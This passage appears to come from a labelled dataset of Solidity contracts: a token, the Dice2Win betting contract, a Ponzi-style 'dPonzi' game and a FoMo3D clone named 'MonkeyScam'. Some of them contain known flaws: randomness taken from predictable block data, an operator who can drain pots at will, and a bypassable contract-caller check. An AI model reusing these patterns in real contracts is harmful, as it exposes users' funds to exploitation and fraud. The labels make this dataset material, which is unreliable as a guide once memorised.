Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 | 3,940 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
function _burn(address who, uint256 value) internal {
super._burn(who, value);
}
}
contract FairWay is ERC20, ERC20Detailed, ERC20Burnable {
using SafeERC20 for ERC20;
constructor()
ERC20Burnable()
ERC20Detailed('FairWay', 'FWY', 18)
ERC20()
public
{
_mint(0x200EB9b07Abe0AE8db868A30DAF4779686611360, 80000000000 * (10 ** uint256(18)));
}
} | 1 | 3,149 |
pragma solidity ^0.4.23;
contract Dice2Win {
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, uint cleanCommit) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
uint placeBlockNumber = bet.placeBlockNumber;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, blockhash(placeBlockNumber)));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin);
if (cleanCommit == 0) {
return;
}
clearProcessedBet(cleanCommit);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function clearProcessedBet(uint commit) private {
Bet storage bet = bets[commit];
if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BET_EXPIRATION_BLOCKS) {
return;
}
bet.modulo = 0;
bet.rollUnder = 0;
bet.placeBlockNumber = 0;
bet.mask = 0;
bet.gambler = address(0);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
} | 1 | 3,156 |
pragma solidity ^0.4.24;
contract dPonzi {
address public manager;
struct PlayerStruct {
uint key;
uint food;
uint idx;
uint gametime;
uint flag;
}
struct RefStruct {
address player;
uint flag;
}
struct RefStructAdd {
bool flag;
string name;
}
struct PotCntStruct {
address[] player;
address lastPlayer;
uint last;
uint balance;
uint keys;
uint food;
uint gtime;
uint gameTime;
uint lastRecord;
uint entryAmount;
mapping(string => PackageStruct) potStruct;
}
struct IdxStruct {
mapping(address => PlayerStruct) playerStruct;
}
struct PackageStruct {
uint entryAmount;
}
mapping(string => PotCntStruct) potCntInfo;
mapping(string => IdxStruct) idxStruct;
mapping(string => RefStruct) idxR;
mapping(address => RefStructAdd) public idxRadd;
constructor() public {
manager = msg.sender;
potCntInfo['d'].gameTime = 0;
potCntInfo['7'].gameTime = 0;
potCntInfo['30'].gameTime = 0;
potCntInfo['90'].gameTime = 0;
potCntInfo['180'].gameTime = 0;
potCntInfo['365'].gameTime = 0;
potCntInfo['i'].entryAmount = 10;
potCntInfo['d'].entryAmount = 1;
potCntInfo['7'].entryAmount = 4;
potCntInfo['30'].entryAmount = 8;
potCntInfo['90'].entryAmount = 15;
potCntInfo['180'].entryAmount = 25;
potCntInfo['365'].entryAmount = 5;
potCntInfo['l'].entryAmount = 2;
}
function enter(string package, address advisor) public payable {
require(msg.value >= 0.01 ether, "0 ether is not allowed");
uint key = 0;
uint multiplier = 100000000000000;
if(keccak256(abi.encodePacked(package)) == keccak256("BasicK")) {
require(msg.value == 0.01 ether, "Invalid Package Amount");
key = 1;
}
else if (keccak256(abi.encodePacked(package)) == keccak256("PremiumK")){
require(msg.value == 0.1 ether, "Invalid Package Amount");
key = 11;
multiplier = multiplier * 10;
}
else if (keccak256(abi.encodePacked(package)) == keccak256("LuxuryK")){
require(msg.value == 1 ether, "Invalid Package Amount");
key = 120;
multiplier = multiplier * 100;
addRoyLuxList('l', 'idxLuxury', now, 500);
}
else if (keccak256(abi.encodePacked(package)) == keccak256("RoyalK")){
require(msg.value == 10 ether, "Invalid Package Amount");
key = 1300;
multiplier = multiplier * 1000;
addRoyLuxList('r', 'idxRoyal', now, 100);
}
if (key > 0){
if ( idxRadd[advisor].flag ) {
advisor.transfer(potCntInfo['i'].entryAmount * multiplier);
}
else {
potCntInfo['i'].balance += potCntInfo['i'].entryAmount * multiplier;
}
potCntInfo['d'].balance += potCntInfo['d'].entryAmount * multiplier;
potCntInfo['7'].balance += potCntInfo['7'].entryAmount * multiplier;
potCntInfo['30'].balance += potCntInfo['30'].entryAmount * multiplier;
potCntInfo['90'].balance += potCntInfo['90'].entryAmount * multiplier;
potCntInfo['180'].balance += potCntInfo['180'].entryAmount * multiplier;
potCntInfo['365'].balance += potCntInfo['365'].entryAmount * multiplier;
potCntInfo['l'].balance += potCntInfo['l'].entryAmount * multiplier;
potCntInfo['r'].balance += potCntInfo['365'].entryAmount * multiplier;
potCntInfo['i'].balance += potCntInfo['i'].entryAmount * multiplier;
potCntInfo['dv'].balance += potCntInfo['90'].entryAmount * multiplier;
addPlayerMapping('d', 'idxDaily', key, 0, 0);
addPlayerMapping('7', 'idx7Pot', key, 60, 3600);
addPlayerMapping('30', 'idx30Pot', key, 90, 10800);
addPlayerMapping('90', 'idx90Pot', key, 120, 21600);
addPlayerMapping('180', 'idx180Pot', key, 150, 43200);
addPlayerMapping('365', 'idx365Pot', key, 0, 0);
}
}
function addPlayerMapping(string x1, string x2, uint key, uint timeAdd, uint hardCap ) private{
if(potCntInfo[x1].last <= now){
potCntInfo[x1].last = now;
}
if(keccak256(abi.encodePacked(x1)) == keccak256("d")) {
if (potCntInfo[x1].gameTime == 0) {
potCntInfo[x1].gameTime = now%86400 == 0 ? (now-28800) : now-28800-(now%86400);
potCntInfo[x1].gtime = now;
potCntInfo[x1].last = potCntInfo[x1].gameTime + 1 days;
}
}
else if(keccak256(abi.encodePacked(x1)) == keccak256("365")) {
if (potCntInfo[x1].gameTime == 0) {
potCntInfo[x1].gameTime = now%86400 == 0 ? (now-28800) : now-28800-(now%86400);
potCntInfo[x1].gtime = now;
potCntInfo[x1].last = potCntInfo[x1].gameTime + 365 days;
potCntInfo['l'].gameTime = potCntInfo[x1].gameTime;
potCntInfo['r'].gameTime = potCntInfo[x1].gameTime;
potCntInfo['l'].gtime = now;
potCntInfo['r'].gtime = now;
}
}else {
if (potCntInfo[x1].gameTime == 0) {
potCntInfo[x1].gameTime = now%86400 == 0 ? (now-28800) : now-28800-(now%86400);
potCntInfo[x1].gtime = now;
potCntInfo[x1].last = (now + (key * timeAdd))>=now+hardCap ? now + hardCap : now + (key * timeAdd);
}
else {
potCntInfo[x1].last = (potCntInfo[x1].last + (key * timeAdd))>=now+hardCap ? now + hardCap : potCntInfo[x1].last + (key * timeAdd);
}
}
if (idxStruct[x2].playerStruct[msg.sender].flag == 0) {
potCntInfo[x1].player.push(msg.sender);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(key, 0, potCntInfo[x1].player.length, potCntInfo[x1].gtime, 1);
}
else if (idxStruct[x2].playerStruct[msg.sender].gametime != potCntInfo[x1].gtime){
potCntInfo[x1].player.push(msg.sender);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(key, 0, potCntInfo[x1].player.length, potCntInfo[x1].gtime, 1);
}
else {
idxStruct[x2].playerStruct[msg.sender].key += key;
}
potCntInfo[x1].keys += key;
potCntInfo[x1].lastPlayer = msg.sender;
}
function joinboard(string name) public payable {
require(msg.value >= 0.01 ether, "0 ether is not allowed");
if (idxR[name].flag == 0 ) {
idxR[name] = RefStruct(msg.sender, 1);
potCntInfo['i'].balance += msg.value;
idxRadd[msg.sender].name = name;
idxRadd[msg.sender].flag = true;
}
else {
revert("Name is not unique");
}
}
function pickFood(uint pickTime, string x1, string x2, uint num, uint c) public restricted {
uint i = 0;
uint pCounter = 0;
uint food = 0;
if (potCntInfo[x1].player.length > 0 && potCntInfo[x1].food < num) {
do {
pCounter = random(potCntInfo[x1].player.length, pickTime+i+pCounter+food);
food = random(idxStruct[x2].playerStruct[potCntInfo[x1].player[pCounter]].key, pickTime+i+pCounter+food);
if (potCntInfo[x1].food + food > num) {
idxStruct[x2].playerStruct[potCntInfo[x1].player[pCounter]].food += num-potCntInfo[x1].food;
potCntInfo[x1].food = num;
break;
}
else {
idxStruct[x2].playerStruct[potCntInfo[x1].player[pCounter]].food += food;
potCntInfo[x1].food += food;
}
i++;
if(potCntInfo[x1].food == num) {
break;
}
}
while (i < c);
potCntInfo[x1].lastRecord = potCntInfo[x1].food == num ? 1 : 0;
}
else {
potCntInfo[x1].lastRecord = 1;
}
}
function pickWinner(uint pickTime, bool sendDaily, bool send7Pot, bool send30Pot, bool send90Pot, bool send180Pot, bool send365Pot) public restricted{
hitPotProcess('7', send7Pot, pickTime);
hitPotProcess('30', send30Pot, pickTime);
hitPotProcess('90', send90Pot, pickTime);
hitPotProcess('180', send180Pot, pickTime);
maturityProcess('d', sendDaily, pickTime, 86400);
maturityProcess('7', send7Pot, pickTime, 604800);
maturityProcess('30', send30Pot, pickTime, 2592000);
maturityProcess('90', send90Pot, pickTime, 7776000);
maturityProcess('180', send180Pot, pickTime, 15552000);
maturityProcess('365', send365Pot, pickTime, 31536000);
maturityProcess('l', send365Pot, pickTime, 31536000);
maturityProcess('r', send365Pot, pickTime, 31536000);
}
function hitPotProcess(string x1, bool send, uint pickTime) private {
if( pickTime > potCntInfo[x1].last) {
if (potCntInfo[x1].balance > 0 && send) {
if (pickTime - potCntInfo[x1].last >= 20) {
potCntInfo[x1].balance = 0;
potCntInfo[x1].food = 0;
potCntInfo[x1].keys = 0;
delete potCntInfo[x1].player;
potCntInfo[x1].gameTime = 0;
potCntInfo[x1].gtime = pickTime;
}
}
}
}
function maturityProcess(string x1, bool send, uint pickTime, uint addTime) private {
if( pickTime > potCntInfo[x1].gameTime) {
if ( (pickTime - potCntInfo[x1].gameTime) >= addTime) {
if (potCntInfo[x1].balance > 0 && send) {
potCntInfo[x1].balance = 0;
potCntInfo[x1].food = 0;
potCntInfo[x1].keys = 0;
delete potCntInfo[x1].player;
potCntInfo[x1].gameTime = 0;
potCntInfo[x1].gtime = pickTime;
}
}
}
}
modifier restricted() {
require(msg.sender == manager, "Only manager is allowed");
_;
}
function random(uint maxNum, uint timestamp) private view returns (uint){
return uint(keccak256(abi.encodePacked(block.difficulty, timestamp, potCntInfo['d'].balance, potCntInfo['7'].balance, potCntInfo['30'].balance, potCntInfo['90'].balance, potCntInfo['180'].balance, potCntInfo['365'].balance))) % maxNum;
}
function addRoyLuxList(string x1, string x2, uint timestamp, uint num) private {
uint pick;
if ( potCntInfo[x1].player.length < num) {
if (idxStruct[x2].playerStruct[msg.sender].flag == 0 ) {
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, potCntInfo[x1].player.length, potCntInfo['365'].gtime, 1);
potCntInfo[x1].player.push(msg.sender);
}
else if (idxStruct[x2].playerStruct[msg.sender].gametime != potCntInfo['365'].gtime ) {
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, potCntInfo[x1].player.length, potCntInfo['365'].gtime, 1);
potCntInfo[x1].player.push(msg.sender);
}
}
else {
if (idxStruct[x2].playerStruct[msg.sender].flag == 0 ) {
pick = random(potCntInfo[x1].player.length, timestamp);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].idx, potCntInfo['365'].gtime, 1);
idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].flag = 0;
potCntInfo[x1].player[pick] = msg.sender;
}
else if (idxStruct[x2].playerStruct[msg.sender].gametime != potCntInfo['365'].gtime ) {
pick = random(potCntInfo[x1].player.length, timestamp);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].idx, potCntInfo['365'].gtime, 1);
idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].flag = 0;
potCntInfo[x1].player[pick] = msg.sender;
}
}
}
function getPotCnt(string x) public constant returns(uint count, uint pLast, uint pot, uint keystore, uint gtime, uint gameTime, uint food) {
return (potCntInfo[x].player.length, potCntInfo[x].last, potCntInfo[x].balance, potCntInfo[x].keys, potCntInfo[x].gtime, potCntInfo[x].gameTime, potCntInfo[x].food);
}
function getIdx(string x1, string x2, uint p) public constant returns(address p1, uint key, uint food, uint gametime, uint flag) {
return (potCntInfo[x1].player[p], idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].key, idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].food, idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].gametime, idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].flag);
}
function getLast(string x) public constant returns(uint lastRecord) {
return potCntInfo[x].lastRecord;
}
function getLastPlayer(string x) public constant returns(address lastPlayer) {
return potCntInfo[x].lastPlayer;
}
function sendFood(address p, uint food) public restricted {
p.transfer(food);
}
function sendFoods(address[500] p, uint[500] food) public restricted {
for(uint k = 0; k < p.length; k++){
if (food[k] == 0) {
return;
}
p[k].transfer(food[k]);
}
}
function sendItDv(string x1) public restricted {
msg.sender.transfer(potCntInfo[x1].balance);
potCntInfo[x1].balance = 0;
}
function sendDv(string x1) public restricted {
potCntInfo[x1].balance = 0;
}
function getReffAdd(string x) public constant returns(address){
if( idxR[x].flag == 1){
return idxR[x].player;
}else{
revert("Not found!");
}
}
function getReffName(address x) public constant returns(string){
if( idxRadd[x].flag){
return idxRadd[x].name;
}else{
revert("Not found!");
}
}
} | 0 | 1,168 |
pragma solidity ^0.4.24;
contract MonkeyEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularMonkeyScam is MonkeyEvents {}
contract MonkeyScam is modularMonkeyScam {
using SafeMath for *;
using NameFilter for string;
using LDKeysCalc for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x38A3E0423708f5797284aEDDbac1a69FC0aa3883);
address private monkeyKing = 0xb75603Fd0B0E55b283DAC9A9ED516A8a9515e3dB;
address private monkeyQueue = 0x2B215DE0Ec7C1A9b72F48aB357f2E1739487c050;
string constant public name = "MonkeyScam Round #1";
string constant public symbol = "MSR";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 72 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 72 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => LDdatasets.Player) public plyr_;
mapping (uint256 => LDdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
LDdatasets.Round public round_;
uint256 public fees_ = 40;
uint256 public potSplit_ = 20;
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LDdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LDdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
